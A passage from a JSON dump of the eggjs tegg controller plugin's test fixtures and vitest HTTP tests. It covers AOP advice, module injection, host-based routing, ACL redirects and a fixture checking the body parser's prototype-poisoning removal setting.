    "content": "import { AccessLevel } from '@eggjs/tegg-types';\nimport { Advice, type AdviceContext, type IAdvice } from '@eggjs/tegg/aop';\n\n@Advice({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class CountAdvice implements IAdvice {\n  private index = 0;\n\n  async around(_ctx: AdviceContext, next: () => Promise<any>) {\n    const body = await next();\n    if (body) body.count = this.index++;\n    body.aopList = body.aopList || [];\n    body.aopList.push(CountAdvice.name);\n    return body;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/modules/multi-module-common/advice/FooControllerAdvice.ts",
    "content": "import { AccessLevel } from '@eggjs/tegg-types';\nimport { Advice, type AdviceContext, type IAdvice } from '@eggjs/tegg/aop';\n\n@Advice({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class FooControllerAdvice implements IAdvice {\n  async around(_ctx: AdviceContext, next: () => Promise<any>) {\n    const body = await next();\n    body.aopList = body.aopList || [];\n    body.aopList.push(FooControllerAdvice.name);\n    return body;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/modules/multi-module-common/advice/FooMethodAdvice.ts",
    "content": "import { AccessLevel } from '@eggjs/tegg-types';\nimport { Advice, type AdviceContext, type IAdvice } from '@eggjs/tegg/aop';\n\n@Advice({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class FooMethodAdvice implements IAdvice {\n  async around(_ctx: AdviceContext, next: () => Promise<any>) {\n    const body = await next();\n    body.aopList = body.aopList || [];\n    body.aopList.push(FooMethodAdvice.name);\n    return body;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/modules/multi-module-common/model/App.ts",
    "content": "export default class App {\n  name: string;\n  desc: string;\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/modules/multi-module-common/package.json",
    "content": "{\n  \"name\": \"multi-module-common\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multi-module-common\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/modules/multi-module-repo/AppRepo.ts",
    "content": "import { AccessLevel, ContextProto, Inject } from '@eggjs/tegg';\n\nimport App from '../multi-module-common/model/App.js';\nimport PersistenceService from './PersistenceService.js';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class AppRepo {\n  @Inject()\n  persistenceService: PersistenceService;\n\n  public async findApp(name: string): Promise<App | null> {\n    const raw = this.persistenceService.get(name);\n    if (!raw) {\n      return null;\n    }\n    return JSON.parse(raw);\n  }\n\n  public async insertApp(app: App): Promise<void> {\n    this.persistenceService.set(app.name, JSON.stringify(app));\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/modules/multi-module-repo/PersistenceService.ts",
    "content": "import { SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto()\nexport default class PersistenceService {\n  private store: Map<string, string> = new Map();\n\n  public set(key: string, val: string): void {\n    this.store.set(key, val);\n  }\n\n  public get(key: string): string | undefined {\n    return this.store.get(key);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/modules/multi-module-repo/package.json",
    "content": "{\n  \"name\": \"multi-module-repo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multi-module-repo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/modules/multi-module-service/AppService.ts",
    "content": "import { AccessLevel, ContextProto, Inject } from '@eggjs/tegg';\n\nimport App from '../multi-module-common/model/App.js';\nimport AppRepo from '../multi-module-repo/AppRepo.js';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class AppService {\n  @Inject()\n  appRepo: AppRepo;\n\n  findApp(name: string): Promise<App | null> {\n    return this.appRepo.findApp(name);\n  }\n\n  save(app: App): Promise<void> {\n    return this.appRepo.insertApp(app);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/modules/multi-module-service/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multiModuleService\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/controller-app/package.json",
    "content": "{\n  \"name\": \"controller-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/duplicate-controller-name-app/app/controller/AppController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum } from '@eggjs/tegg';\n\n@HTTPController({\n  controllerName: 'AppController',\n  path: '/apps',\n})\nexport class AppController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/:id',\n  })\n  async get() {\n    return 'hello';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/duplicate-controller-name-app/app/controller/AppController2.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum } from '@eggjs/tegg';\n\n@HTTPController({\n  controllerName: 'AppController',\n  path: '/apps',\n})\nexport class AppController2 {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/:id',\n  })\n  async get() {\n    return 'hello';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/duplicate-controller-name-app/config/config.default.ts",
    "content": "export default () => {\n  const config = {\n    keys: 'test key',\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/duplicate-controller-name-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  teggController: {\n    package: '@eggjs/controller-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/duplicate-controller-name-app/package.json",
    "content": "{\n  \"name\": \"controller-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/duplicate-proto-name-app/app/controller/AppController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum } from '@eggjs/tegg';\n\n@HTTPController({\n  path: '/apps',\n})\nexport class AppController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/:id',\n  })\n  async get() {\n    return 'hello';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/duplicate-proto-name-app/app/controller/AppController2.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum } from '@eggjs/tegg';\n\n@HTTPController({\n  controllerName: 'AppController2',\n  path: '/apps',\n})\nexport class AppController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/:id',\n  })\n  async get() {\n    return 'hello';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/duplicate-proto-name-app/config/config.default.ts",
    "content": "export default () => {\n  const config = {\n    keys: 'test key',\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/duplicate-proto-name-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  teggController: {\n    package: '@eggjs/controller-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/duplicate-proto-name-app/package.json",
    "content": "{\n  \"name\": \"controller-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/host-controller-app/app/controller/AppController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum, Host } from '@eggjs/tegg';\n\n@Host('foo.eggjs.com')\n@HTTPController({\n  controllerName: 'AppController',\n  path: '/apps',\n})\nexport class AppController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/:id',\n  })\n  async get() {\n    return 'foo';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/host-controller-app/app/controller/AppController2.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum, Host } from '@eggjs/tegg';\n\n@HTTPController({\n  path: '/apps',\n})\nexport class AppController2 {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/:id',\n  })\n  @Host('bar.eggjs.com')\n  async get() {\n    return 'bar';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/host-controller-app/app/controller/MultiHostController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum, Host } from '@eggjs/tegg';\n\n@Host(['apple.eggjs.com', 'a.eggjs.com'])\n@HTTPController({\n  controllerName: 'MultiHostController',\n  path: '/apps',\n})\nexport class MultiHostController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/apple',\n  })\n  async apple() {\n    return 'apple';\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/a',\n  })\n  async a() {\n    return 'a';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/host-controller-app/app/controller/MultiMethodHostController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum, Host } from '@eggjs/tegg';\n\n@HTTPController({\n  controllerName: 'MultiMethodHostController',\n  path: '/apps',\n})\nexport class MultiMethodHostController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/orange',\n  })\n  @Host(['orange.eggjs.com', 'o.eggjs.com'])\n  async orange() {\n    return 'orange';\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/juice',\n  })\n  @Host('juice.eggjs.com')\n  async juice() {\n    return 'juice';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/host-controller-app/config/config.default.ts",
    "content": "export default () => {\n  const config = {\n    keys: 'test key',\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/host-controller-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  teggAop: {\n    package: '@eggjs/aop-plugin',\n    enable: true,\n  },\n  teggController: {\n    package: '@eggjs/controller-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/host-controller-app/package.json",
    "content": "{\n  \"name\": \"host-controller-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/http-conflict-app/app/controller/AppController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum } from '@eggjs/tegg';\n\n@HTTPController({\n  path: '/apps',\n})\nexport class AppController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/:id',\n  })\n  async get() {\n    return 'hello';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/http-conflict-app/app/controller/HostController1.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum, Host } from '@eggjs/tegg';\n\n@HTTPController({\n  path: '/foo',\n})\n@Host('foo.eggjs.com')\nexport class AppController1 {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/:id',\n  })\n  async get() {\n    return 'hello';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/http-conflict-app/app/controller/HostController2.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum, Host } from '@eggjs/tegg';\n\n@HTTPController({\n  path: '/foo',\n})\n@Host('foo.eggjs.com')\nexport class AppController2 {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/:id',\n  })\n  async get() {\n    return 'hello';\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/http-conflict-app/config/config.default.ts",
    "content": "export default () => {\n  const config = {\n    keys: 'test key',\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/http-conflict-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  teggAop: {\n    package: '@eggjs/aop-plugin',\n    enable: true,\n  },\n  teggController: {\n    package: '@eggjs/controller-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/http-conflict-app/package.json",
    "content": "{\n  \"name\": \"http-conflict-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/http-inject-app/app/controller/AppController.ts",
    "content": "import {\n  HTTPContext,\n  type EggContext,\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n  Middleware,\n  HTTPRequest,\n  Cookies,\n  HTTPCookies,\n} from '@eggjs/tegg';\n\nimport { countMw } from '../middleware/count_mw.ts';\n\n@HTTPController({\n  path: '/apps',\n})\n@Middleware(countMw)\nexport class AppController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.POST,\n    path: '/testRequest',\n  })\n  async testRequest(\n    @HTTPContext() ctx: EggContext,\n    @HTTPRequest() request: Request,\n    @HTTPCookies() cookies: Cookies,\n  ): Promise<{\n    success: boolean;\n    traceId: string;\n    headers: Record<string, string>;\n    method: string;\n    requestBody: string;\n    cookies: string | undefined;\n  }> {\n    const traceId = await ctx.tracer.traceId;\n    return {\n      success: true,\n      traceId,\n      headers: Object.fromEntries(request.headers),\n      method: request.method,\n      requestBody: await request.text(),\n      cookies: cookies.get('test', { signed: false }),\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/http-inject-app/app/middleware/call_module.ts",
    "content": "import { type Next } from '@eggjs/tegg';\nimport type { Context } from 'egg';\n\nexport async function callModuleCtx(ctx: Context, next: Next) {\n  await (ctx.module as any).multiModuleService.appService.findApp('foo');\n  await next();\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/http-inject-app/app/middleware/count_mw.ts",
    "content": "import { type Next } from '@eggjs/tegg';\nimport type { Context } from 'egg';\n\nlet index = 0;\n\nexport async function countMw(ctx: Context, next: Next) {\n  await next();\n  if (ctx.body) ctx.body.count = index++;\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/http-inject-app/app/middleware/log_mw.ts",
    "content": "import { type Next } from '@eggjs/tegg';\nimport type { Context } from 'egg';\n\nexport function logMwFactory(log: string) {\n  return async function logMw(ctx: Context, next: Next) {\n    await next();\n    ctx.body.log = log;\n  };\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/http-inject-app/config/config.default.ts",
    "content": "export default () => {\n  const config = {\n    keys: 'test key',\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/http-inject-app/config/module.json",
    "content": "[]\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/http-inject-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  teggAop: {\n    package: '@eggjs/aop-plugin',\n    enable: true,\n  },\n  teggController: {\n    package: '@eggjs/controller-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/http-inject-app/package.json",
    "content": "{\n  \"name\": \"http-inject-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/module-app/app/controller/AppController2.ts",
    "content": "import { Controller } from 'egg';\n\nexport default class AppController2 extends Controller {\n  async foo() {\n    const traceId = this.ctx.tracer.traceId;\n    const id = this.ctx.params?.id;\n    this.ctx.body = {\n      traceId,\n      app: 'mock-app:' + id,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/module-app/app/router.ts",
    "content": "import type { Application } from 'egg';\n\nexport default function (app: Application) {\n  app.get('/apps2/:id', app.controller.appController2.foo);\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/module-app/config/config.default.ts",
    "content": "export default () => {\n  const config = {\n    keys: 'test key',\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/module-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/http-module\"\n  },\n  {\n    \"path\": \"../modules/foo-module\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/module-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  teggAop: {\n    package: '@eggjs/aop-plugin',\n    enable: true,\n  },\n  teggController: {\n    package: '@eggjs/controller-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/module-app/modules/foo-module/AppService.ts",
    "content": "import { AccessLevel, ContextProto } from '@eggjs/tegg';\n\n// No one deps it\n// It should not be construct\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class AppService {\n  constructor() {\n    (global as any).constructAppService = true;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/module-app/modules/foo-module/package.json",
    "content": "{\n  \"name\": \"foo-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/module-app/modules/http-module/AppController.ts",
    "content": "import { HTTPContext, HTTPController, HTTPMethod, HTTPMethodEnum, HTTPParam } from '@eggjs/tegg';\nimport type { Context } from 'egg';\n\n@HTTPController()\nexport class AppController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/apps/:id',\n  })\n  async get(\n    @HTTPContext() ctx: Context,\n    @HTTPParam() id: string,\n  ): Promise<{\n    traceId: string;\n    app: string;\n  }> {\n    const traceId = ctx.tracer.traceId;\n    return {\n      traceId,\n      app: 'mock-app:' + id,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/module-app/modules/http-module/package.json",
    "content": "{\n  \"name\": \"http-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"http-module\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/module-app/package.json",
    "content": "{\n  \"name\": \"module-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/proto-poisoning/app/controller/HelloController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPBody } from '@eggjs/tegg';\n\n@HTTPController()\nexport class HelloController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.POST,\n    path: '/hello-proto-poisoning',\n  })\n  async get(@HTTPBody() body: any) {\n    // console.log(body, body.__proto__);\n    const params1 = Object.assign({}, body);\n    const params2 = {\n      ...body,\n    };\n    return {\n      params1,\n      params2,\n      body,\n      'params1.boom': params1.boom,\n      'params2.boom': params2.boom,\n      'body.boom': body.boom,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/proto-poisoning/config/config.default.ts",
    "content": "export default () => {\n  const config = {\n    keys: 'test key',\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n    bodyParser: {\n      onProtoPoisoning: 'remove',\n    },\n  };\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/proto-poisoning/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  teggAop: {\n    package: '@eggjs/aop-plugin',\n    enable: true,\n  },\n  teggController: {\n    package: '@eggjs/controller-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/controller/test/fixtures/apps/proto-poisoning/package.json",
    "content": "{\n  \"name\": \"proto-poisoning\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/controller/test/http/acl.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach, beforeAll, afterAll, expect } from 'vitest';\n\nimport { getFixtures } from '../utils.ts';\n\ndescribe('plugin/controller/test/http/acl.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/acl-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  describe('authenticate', () => {\n    describe('authenticate success', () => {\n      it('should ok', async () => {\n        await app\n          .httpRequest()\n          .get('/foo?pass=true')\n          .set('accept', 'application/json')\n          .expect((res) => {\n            expect(res.text).toBe('hello, foo');\n          });\n      });\n    });\n\n    describe('authenticate failed', () => {\n      describe('json', () => {\n        it('should deny', async () => {\n          await app\n            .httpRequest()\n            .get('/foo')\n            .set('accept', 'application/json')\n            .expect((res) => {\n              expect(res.body).toEqual({\n                target: 'http://alipay.com/401',\n                stat: 'deny',\n              });\n            });\n        });\n      });\n\n      describe('not json', () => {\n        it('should 302', async () => {\n          await app.httpRequest().get('/foo').expect(302).expect('location', 'http://alipay.com/401');\n        });\n      });\n    });\n  });\n\n  describe('authorize', () => {\n    describe('authorize success', () => {\n      it('should ok', async () => {\n        await app\n          .httpRequest()\n          .get('/bar?pass=true&code=mock1')\n          .set('accept', 'application/json')\n          .expect((res) => {\n            expect(res.text).toBe('hello, bar');\n          });\n      });\n    });\n\n    describe('authorize failed', () => {\n      describe('json', () => {\n        it('should deny', async () => {\n          await app\n            .httpRequest()\n            .get('/bar?pass=true&code=mock2')\n            .set('accept', 'application/json')\n            .expect((res) => {\n              expect(res.body).toEqual({\n                target: 'http://alipay.com/403',\n                stat: 'deny',\n              });\n            });\n        });\n      });\n\n      describe('not json', () => {\n        it('should 302', async () => {\n          await app\n            .httpRequest()\n            .get('/bar?pass=true&code=mock2')\n            .expect(302)\n            .expect('location', 'http://alipay.com/403');\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/controller/test/http/edgecase.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach, beforeAll, afterAll, expect } from 'vitest';\n\nimport { getFixtures } from '../utils.ts';\n\ndescribe('plugin/controller/test/http/edgecase.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/controller-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  it('redirect should work', async () => {\n    await app.httpRequest().get('/redirect').expect('location', 'https://alipay.com/').expect(302);\n  });\n\n  it('empty should work', async () => {\n    await app.httpRequest().get('/empty').expect(204);\n  });\n\n  it('should case sensitive', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .get('/Middleware/Method')\n      .expect(200)\n      .expect((res) => {\n        expect(res.text).toBe('hello, view');\n      });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/controller/test/http/host.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach, beforeAll, afterAll, expect } from 'vitest';\n\nimport { getFixtures } from '../utils.ts';\n\ndescribe('plugin/controller/test/http/host.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/host-controller-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  it('global host should work', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .get('/apps/1')\n      .set('host', 'foo.eggjs.com')\n      .expect(200)\n      .expect((res) => {\n        console.log('res: ', res.text, res.body);\n        expect(res.text).toBe('foo');\n      });\n  });\n\n  it('method host should work', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .get('/apps/2')\n      .set('host', 'bar.eggjs.com')\n      .expect(200)\n      .expect((res) => {\n        expect(res.text).toBe('bar');\n      });\n  });\n\n  it('multi class host should work', async () => {\n    app.mockCsrf();\n    await app.httpRequest().get('/apps/apple').set('host', 'orange.eggjs.com').expect(404);\n\n    await app\n      .httpRequest()\n      .get('/apps/apple')\n      .set('host', 'apple.eggjs.com')\n      .expect(200)\n      .expect((res) => {\n        expect(res.text).toBe('apple');\n      });\n\n    await app\n      .httpRequest()\n      .get('/apps/a')\n      .set('host', 'a.eggjs.com')\n      .expect(200)\n      .expect((res) => {\n        expect(res.text).toBe('a');\n      });\n  });\n\n  it('method class host should work', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .get('/apps/orange')\n      .set('host', 'o.eggjs.com')\n      .expect(200)\n      .expect((res) => {\n        expect(res.text).toBe('orange');\n      });\n\n    await app\n      .httpRequest()\n      .get('/apps/orange')\n      .set('host', 'orange.eggjs.com')\n      .expect(200)\n      .expect((res) => {\n        expect(res.text).toBe('orange');\n      });\n\n    await app\n      .httpRequest()\n      .get('/apps/juice')\n      .set('host', 'juice.eggjs.com')\n      .expect(200)\n      .expect((res) => {\n        expect(res.text).toBe('juice');\n      });\n\n    await app.httpRequest().get('/apps/juice').set('host', 'o.eggjs.com').expect(404);\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/controller/test/http/middleware.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach, beforeAll, afterAll, expect } from 'vitest';\n\nimport { getFixtures } from '../utils.ts';\n\ndescribe('plugin/controller/test/http/middleware.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/controller-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  it('global middleware should work', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .get('/middleware/global')\n      .expect(200)\n      .expect((res) => {\n        expect(res.body.count).toBe(0);\n      });\n  });\n\n  it('method middleware should work', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .get('/middleware/method')\n      .expect(200)\n      .expect((res) => {\n        expect(res.body.log).toBe('use middleware');\n      });\n  });\n\n  it('method middleware call module should work', async () => {\n    app.mockCsrf();\n    await app.httpRequest().get('/middleware/methodCallModule').expect(200);\n  });\n\n  it('aop controller middleware should work', async () => {\n    app.mockCsrf();\n    const res = await app.httpRequest().get('/aop/middleware/global').expect(200);\n    expect(res.body).toEqual({\n      method: 'global',\n      count: 0,\n      aopList: ['FooControllerAdvice', 'CountAdvice'],\n    });\n  });\n\n  it('aop method middleware should work', async () => {\n    app.mockCsrf();\n    const res = await app.httpRequest().get('/aop/middleware/method').expect(200);\n    expect(res.body).toEqual({\n      method: 'middleware',\n      aopList: ['FooControllerAdvice', 'CountAdvice', 'BarMethodAdvice', 'FooMethodAdvice'],\n      count: 0,\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/controller/test/http/module.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach, beforeAll, afterAll, expect } from 'vitest';\n\nimport { getFixtures } from '../utils.ts';\n\ndescribe('plugin/controller/test/http/module.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(() => {\n    delete (global as any).constructAppService;\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/module-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  it('controller in module should work', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .get('/apps/foo')\n      .expect(200)\n      .expect((res) => {\n        expect(res.body.app).toBe('mock-app:foo');\n      });\n  });\n\n  it('tegg controller should not construct AppService', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .get('/apps/foo')\n      .expect(200)\n      .expect((res) => {\n        expect(res.body.app).toBe('mock-app:foo');\n      });\n    expect((global as any).constructAppService).toBeUndefined();\n  });\n\n  it('egg controller should construct AppService', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .get('/apps2/foo')\n      .expect(200)\n      .expect((res) => {\n        expect(res.body.app).toBe('mock-app:foo');\n      });\n    